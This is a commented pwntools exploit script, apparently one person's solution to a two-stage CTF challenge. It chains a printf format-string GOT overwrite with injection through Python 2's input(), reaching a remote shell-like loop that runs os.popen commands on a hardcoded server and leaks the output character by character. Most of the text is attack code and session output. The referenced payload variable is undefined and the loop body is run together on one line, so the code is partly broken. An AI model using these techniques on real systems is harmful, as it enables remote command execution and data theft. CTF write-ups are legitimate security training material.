Rating: 3.0


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import sys
################################################################################
# Provided was a 32bit ELF with a printf bug.
# and a ip address and port to connect to.
target = "13.233.66.116"
port = 6969

# turns out this was a two stage challenge.
# found the printf bug pretty quick and i wasted a lot of time trying to get
# a address pointing to /bin/sh on the stack so I could pop'a'shell
# but in near the end I realizeded I sould problably NOT ignore the system call
# that ran a python script and that the python script was also exploitable.

# if you don't know about formatstring things,
# you sould check out "lifeoverflow's" from "ALLES!" his youtube video,
# that guy is realy good in explaining stuff and is perfect if your to lazy to read.
# (or write about it, then you just refer to the video)

# anywhore this ended up being my printf payload.
# (yeah i know i screwed up with order of writing parts of the word.
# but i already trialed and errored my way halfway there before i noticed so i
# just went with it.)

# In case you are wondering what I overwrite Its some (idk what's) address on the GOT
# that get's called after the payload is dropped .. i just dopped breakpoints
# on all addresses that were in the GOT and went for the first one that got called
# and the adress I write is 0x8049b88 wich points to this piece of code.
''''
08049b88 push ebp ; End of unwind block (FDE at 0x80c6bc4), Begin of unwind block (FDE at 0x80c6be4)
08049b89 mov ebp, esp
08049b8b push aPython2UPrintf ; "python2 -u ./printflag.py"
08049b90 call sub_8050790+1088
08049b95 add esp, 0x4
08049b98 push 0x0 ; argument #1 for method I_guess_this_is_system
08049b9a call I_guess_this_is_system ; I_guess_this_is_system
'''

# I also had a payload overwriteing the address to the cat flag thingemagic,
# but I lost it. (I should realy start using an other type of version controll
# than holding down ctrl+z until it doesn't look fuckedup anymore.)

'''
08049b75 push ebp ; Begin of unwind block (FDE at 0x80c6bc4)
08049b76 mov ebp, esp
08049b78 push aCatPrintflagpy ; "cat printflag.py"
08049b7d call sub_8050790+1088
08049b82 add esp, 0x4
08049b85 nop
08049b86 leave
08049b87 ret
'''

# So now for stage 2
# the python script we can now run and cat on the server looks like:
'''

#!/usr/bin/python2

while True:
print "Enter number of times to print flag"
print "flag " * input("> ")

'''

# input() is used so that allows us to feed it fuctions, as long as
# they return a int becose it's getting muliplyed with the string "flag ".
# (yeah that makes sense in the wonderfull world of python)

# now we can send it commands and get the amount of flags in return.
# so lets make a little function to count the amount of "flag " and return a int
#
def cf(r):
r = r[:r.index("\n")] # there is probebly a better way to
r = r.split(" ") # do this but this was like 20 minuts
return len(r)-1 # before the end of the CTF .. meh..
# if it works it works right.

# anyway in the code below i set up a connection to the server
# drop the printf payload.
# and have al little loop dropping payloads for the python script.
# like a lot.. like for every god damn charcter in the stdout of a command.
# running the command every single time aswell because my lack of finnese
# and the runing out of CTF time.. (hehhehe CTFtime)

io = remote(target,port)
sleep(2)
io.clean() # you don't want al that printf padding to clutter up your recv buffer.

while 1:
try:
fn = raw_input("$") if fn == "q\n": break # so first i get the length what the command returns io.sendline("len(__import__('os').popen('"+fn[:-1]+"').read())") sleep(0.5) fl = cf(io.recv()) for i in range (0,fl): # and then I run the command over and over again and get all the charcters of the resonse. io.sendline("ord(__import__('os').popen('"+fn[:-1]+"').read()["+str(i)+":"+str(i+1)+"])") # (jep this is how I did it. i could have written the output to a file and leak the file. # but time was of the essence..) sleep(0.2) sys.stdout.write(chr(cf(io.recv()))) #fancy print the output. print '\n' except: # close connection, reconnect and drop payload again in case connection gets dropped or # if something else fuckes up print "I duN G00f3d!!" io.close() io = remote(target,port) io.sendline(payload) sleep(2) io.clean() io.close() ''' [+] Opening connection to 13.233.66.116 on port 6969: Done$ls
N0tY0urC0nventionalFl4gFile.txt
not_easy
printflag.py

$cat N0tY0urC0nventionalFl4gFile.txt flag{F1rst_pr1ntf_th3n_pyth0n5_inPuT_fuNct10n__wHy_00hH_whY}$
'''
# I managed to capture the flag 3 minutes and 10 seconds before the end of the CTF
# Holly ballsack! That was pretty intense moment.